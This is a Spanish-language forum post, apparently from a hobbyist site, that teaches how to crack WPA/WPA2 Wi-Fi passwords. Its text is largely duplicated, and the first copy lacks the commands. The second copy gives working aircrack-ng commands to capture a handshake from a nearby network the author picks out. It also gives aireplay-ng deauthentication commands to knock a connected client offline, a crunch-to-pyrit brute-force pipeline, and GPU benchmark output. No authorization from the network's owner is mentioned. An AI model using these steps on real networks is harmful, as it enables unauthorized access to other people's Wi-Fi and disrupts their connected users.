Ya podrido de toooooooooooooooooodos los post que existen para crackear redes wifi, en su mayoría WEP (aunque en el título ponen wpa y al final te comés alto mocaso) decidí hacer este post. LA MANERA CORRECTA DE CRACKEAR REDES WPA/WPA2, sea tkip o aes.
Para crackear redes wifi podemos ir a dos métodos distintos, uno consiste en usar tablas rainbow, es la forma mas eficiente que hay. EL problema es que se debe generar una tabla rainbow en base al ESSID de la red en cuestión, eso quiere decir que la tabla calculada para el ESSID "Linksys" no servirá si queremos atacar un router con ESSID "Linksys1".
También podemos descargar tablas rainbow precalculadas para los ESSID más comunes acá y acá
Ahora, si andamos sin ganas de ocupar mucho espacio en disco o nuestro disco es algo como un pendrive (a continuación lo explico) esta forma no nos sirve y tenemos que optar por algo mas groncho, como un ataque de fuerza bruta.
Debemos capturar paquetes de la red que vamos a atacar hasta que consigamos el handshake. Para eso podemos seguir cualquier tutorial de crackeo de redes, total son todos iguales hasta este punto... Yo voy a copy-pastear uno que escribí con anterioridad, titulado "Auditando redes protegidas con seguridad wpa"
Requerimientos
1.- Una placa wifi compatible con aircrack.
2.- Una pc con una distro de gnu/Linux instalada (funciona cualquier distro, yo usaré Ubuntu 10.04)
3.- Aircrack-ng (en distros derivadas de Debian, sudo aptitude install aircrack-ng, en fedora: yum install aircrack-ng, en mandriva urpmi aircrack-ng)
4.- crunch (bajár de acá)
5.- Opcional: Una antena externa para tener mejor alcance.
Puesta a punto
Suponiendo que ya tenemos nuestra placa wifi compatible y nuestra distro de gnu/linux instalada en nuestra pc, procedemos:
Antes que todo, loggearse como root,
sudo su
Veremos que el simbolo $ fue reemplazado con un #. de esta forma no precisamos poner sudo para cada comando que ejecutemos y requiera privilegios.
Actualizar el sistema
Es muy importante tener la distro actualizada para tener siempre la última versión del software, para Debian y derivados:
Este proceso puede llevar cierto tiempo dependiendo de cuantos paquetes haya que actualizar y que tan rápida sea tu conexión.
Instalar crunch
1.- Descomprimimos crunch,
2.- Entramos a la carpeta,
3.- y lo copiamos a la carpeta binaria,
Instalar aircrack
Como yo uso Ubuntu, uso apt-get o aptitude (también se puede encontrar en synaptic)
o también;
Apuntando al objetivo
Con la ayuda de Aircrack vamos a listar las redes que tenemos a nuestro alcance y capturar unos paquetitos.
Con iwconfig veremos el nombre de nuestra placa de red:
Bien, mi placa es wlan0,
Ponemos la placa en modo monitor:
y después:
Esto nos activará una nueva interface llamada "mon0"
Ahora vamos a escanear las redes que tenemos cerca
Por cuestiones lógicas, las direcciones de mac están parcialmente tapadas
Como pueden ver, en un minuto encontró una linda cantidad de redes.
Mi objetivo será "Airport-#######3D".
Capturando los preciados paquetes
Tenemos que usar el número de canal y la mac, luego se la facilitaremos a la suite:
en mi caso:
Saludame que te desauntentico!
Nosotros de esa comunicación queremos obtener el handshake, es el "saludo" entre el cliente y el AP.
para obtenerlo podemos esperar a que se conecte un nuevo cliente o podemos desautenticar un cliente conectado, yo voy a desautenticar un cliente.
Como vieron en la captura anterior, hay un cliente conectado cuya mac termina en 3C:A0:84, desautentiquémoslo.
para eso usaremos aireplay, parte de la suite aircrack:
Donde 10 es el número de desautenticaciones que va a enviar (casi nunca desautentica a la primera)
En mi caso es:
el valor de desautenticaciones podemos cambiarlo por el numero que querramos, hasta obtener el handshake, Luego de que aparezca NO cierren la terminal donde se están capturando paquetes, porque así seguirá para desencriptar más rápido.
Si, 10.000.. soy un zarpado
Y lo dejamos corriendo, podemos repetir el proceso cuantas veces querramos, hasta que aparezca al menos un handshake:
Bien, hasta ahí capturamos en un archivo la captura de todos los paquetes de la red inalámbrica.
Para romper la contraseña usaremos placas de video, un gpu es muchísmo más rápido que un CPU, aún que el CPU más potente que puedas llegar a comprar hoy en día. ¿Por qué? Stream Processors. Muchos de ellos. Equivalen (de alguna manera) a los núcleos de un procesador. una amd 5850 tiene 1440 stream processors.
Problem core i7?
Para hacerlo vamos a necesitar de Pyrit y alguna de sus adicionales, como pyrit-openCL (amd/ati) o Pyrit-CUDA (Nvidia).
Una vez que tengamos instalado eso,
donde longitud minima sería la cantidad minima de caracteres que va a tener el diccionario generado, para wpa, la longitud minima es 8.
los simbolos del diccionario son los digitos, letras, loquesea que formen parte del diccionario.. por ejemplo:
Y listo, con eso pyrit empezará a funcionar
ejemplo de rendimiento de una 6950 y una 5850:
mas que interesante eh?
EN fin, para una prueba simple, tengo una red capturada con una clave numérica de 8 digitos, a modo de comparación. Mi athlon 5000x2 tardó algo mas de 6 minutos en sacar la contraseña. una 5850+6950 en un sempron 140 tardó aproximadamente 5 segundos.
Para esta prueba utilicé el minero de mi amigo @nicoes_14
aquí un video que hice mientras crackeaba la contraseña
link:
A modo anecdótico, probé un diccionario completo de numeros que empezaban en 8 caracteres como minimo y 20 como máximo, para crackear el password "01424364".. Tardó aproximadamente 43 segundos, con mi procesador me aburrí de esperar y lo cerré.
Como crackear redes wifi protegidas con encriptación WPA o WPA2
Para crackear redes wifi podemos ir a dos métodos distintos, uno consiste en usar tablas rainbow, es la forma mas eficiente que hay. EL problema es que se debe generar una tabla rainbow en base al ESSID de la red en cuestión, eso quiere decir que la tabla calculada para el ESSID "Linksys" no servirá si queremos atacar un router con ESSID "Linksys1".
También podemos descargar tablas rainbow precalculadas para los ESSID más comunes acá y acá
Ahora, si andamos sin ganas de ocupar mucho espacio en disco o nuestro disco es algo como un pendrive (a continuación lo explico) esta forma no nos sirve y tenemos que optar por algo mas groncho, como un ataque de fuerza bruta.
Primero lo primero...
Debemos capturar paquetes de la red que vamos a atacar hasta que consigamos el handshake. Para eso podemos seguir cualquier tutorial de crackeo de redes, total son todos iguales hasta este punto... Yo voy a copy-pastear uno que escribí con anterioridad, titulado "Auditando redes protegidas con seguridad wpa"
Capturar paquetes
Requerimientos
1.- Una placa wifi compatible con aircrack.
2.- Una pc con una distro de gnu/Linux instalada (funciona cualquier distro, yo usaré Ubuntu 10.04)
3.- Aircrack-ng (en distros derivadas de Debian, sudo aptitude install aircrack-ng, en fedora: yum install aircrack-ng, en mandriva urpmi aircrack-ng)
4.- crunch (bajár de acá)
5.- Opcional: Una antena externa para tener mejor alcance.
Puesta a punto
Suponiendo que ya tenemos nuestra placa wifi compatible y nuestra distro de gnu/linux instalada en nuestra pc, procedemos:
Antes que todo, loggearse como root,
sudo su
Veremos que el simbolo $ fue reemplazado con un #. de esta forma no precisamos poner sudo para cada comando que ejecutemos y requiera privilegios.
Actualizar el sistema
Es muy importante tener la distro actualizada para tener siempre la última versión del software, para Debian y derivados:
# aptitude update
Este proceso puede llevar cierto tiempo dependiendo de cuantos paquetes haya que actualizar y que tan rápida sea tu conexión.
Instalar crunch
1.- Descomprimimos crunch,
# tar -xvzf crunch*.tgz
2.- Entramos a la carpeta,
# cd crunch
3.- y lo copiamos a la carpeta binaria,
# cp crunch /usr/sbin/
Instalar aircrack
Como yo uso Ubuntu, uso apt-get o aptitude (también se puede encontrar en synaptic)
# apt-get install aircrack-ng
o también;
# aptitude install aircrack
Apuntando al objetivo
Con la ayuda de Aircrack vamos a listar las redes que tenemos a nuestro alcance y capturar unos paquetitos.
Con iwconfig veremos el nombre de nuestra placa de red:
root@nico-desktop:/# iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11bg
Mode:Managed Frequency:2.437 GHz Access Point: Not-Associated
Tx-Power=2 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Bien, mi placa es wlan0,
Ponemos la placa en modo monitor:
# airmon-ng stop wlan0
y después:
# airmon-ng start wlan0
Esto nos activará una nueva interface llamada "mon0"
Ahora vamos a escanear las redes que tenemos cerca
# airodump-ng wlan0
Por cuestiones lógicas, las direcciones de mac están parcialmente tapadas
Como pueden ver, en un minuto encontró una linda cantidad de redes.
Mi objetivo será "Airport-#######3D".
Capturando los preciados paquetes
Tenemos que usar el número de canal y la mac, luego se la facilitaremos a la suite:
# airodump-ng -c CANAL -bssid MAC-DEL-ROUTER -w captura mon0
en mi caso:
# airodump-ng -c 8 -bssid ##:##:##:24:85:5A -w captura mon0
Saludame que te desauntentico!
Nosotros de esa comunicación queremos obtener el handshake, es el "saludo" entre el cliente y el AP.
para obtenerlo podemos esperar a que se conecte un nuevo cliente o podemos desautenticar un cliente conectado, yo voy a desautenticar un cliente.
Como vieron en la captura anterior, hay un cliente conectado cuya mac termina en 3C:A0:84, desautentiquémoslo.
para eso usaremos aireplay, parte de la suite aircrack:
aireplay-ng -0 10 -a MAC-DEL-AP -c MAC-DEL-CLIENTE mon0
Donde 10 es el número de desautenticaciones que va a enviar (casi nunca desautentica a la primera)
En mi caso es:
aireplay-ng -0 10 -a ##:##:##:24:85:5A -c ##:##:##:3C:A0:84 mon0
el valor de desautenticaciones podemos cambiarlo por el numero que querramos, hasta obtener el handshake, Luego de que aparezca NO cierren la terminal donde se están capturando paquetes, porque así seguirá para desencriptar más rápido.
Si, 10.000.. soy un zarpado
Y lo dejamos corriendo, podemos repetir el proceso cuantas veces querramos, hasta que aparezca al menos un handshake:
Bien, hasta ahí capturamos en un archivo la captura de todos los paquetes de la red inalámbrica.
Romper la contraseña
Para romper la contraseña usaremos placas de video, un gpu es muchísmo más rápido que un CPU, aún que el CPU más potente que puedas llegar a comprar hoy en día. ¿Por qué? Stream Processors. Muchos de ellos. Equivalen (de alguna manera) a los núcleos de un procesador. una amd 5850 tiene 1440 stream processors.
Problem core i7?
Para hacerlo vamos a necesitar de Pyrit y alguna de sus adicionales, como pyrit-openCL (amd/ati) o Pyrit-CUDA (Nvidia).
Una vez que tengamos instalado eso,
$ crunch [longitudminima] [longitudmaxima] [simbolosdeldiccionario] | pyrit -e "essid" -r archivo.cap -i - attack_passthrough
donde longitud minima sería la cantidad minima de caracteres que va a tener el diccionario generado, para wpa, la longitud minima es 8.
los simbolos del diccionario son los digitos, letras, loquesea que formen parte del diccionario.. por ejemplo:
$ crunch 8 12 0123456789 | pyrit -e "Linksys" -r linksys-torre-01.cap -i - attack_passthrough
Y listo, con eso pyrit empezará a funcionar
ejemplo de rendimiento de una 6950 y una 5850:
miner@twistedminer:~$ pyrit benchmark
WARNING: Unknown option 'limit_ncpus' in configfile '/home/miner/.pyrit/config'
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Running benchmark (61640.5 PMKs/s)...
Computed 61640.48 PMKs/s total.
#1: 'OpenCL-Device 'Cypress'': 31593.6 PMKs/s (RTT 2.8)
#2: 'OpenCL-Device 'Cayman'': 36599.6 PMKs/s (RTT 2.8)
#3: 'Network-Clients': 0.0 PMKs/s (RTT 0.0)
mas que interesante eh?
EN fin, para una prueba simple, tengo una red capturada con una clave numérica de 8 digitos, a modo de comparación. Mi athlon 5000x2 tardó algo mas de 6 minutos en sacar la contraseña. una 5850+6950 en un sempron 140 tardó aproximadamente 5 segundos.
Para esta prueba utilicé el minero de mi amigo @nicoes_14
aquí un video que hice mientras crackeaba la contraseña
link:
A modo anecdótico, probé un diccionario completo de numeros que empezaban en 8 caracteres como minimo y 20 como máximo, para crackear el password "01424364".. Tardó aproximadamente 43 segundos, con mi procesador me aburrí de esperar y lo cerré.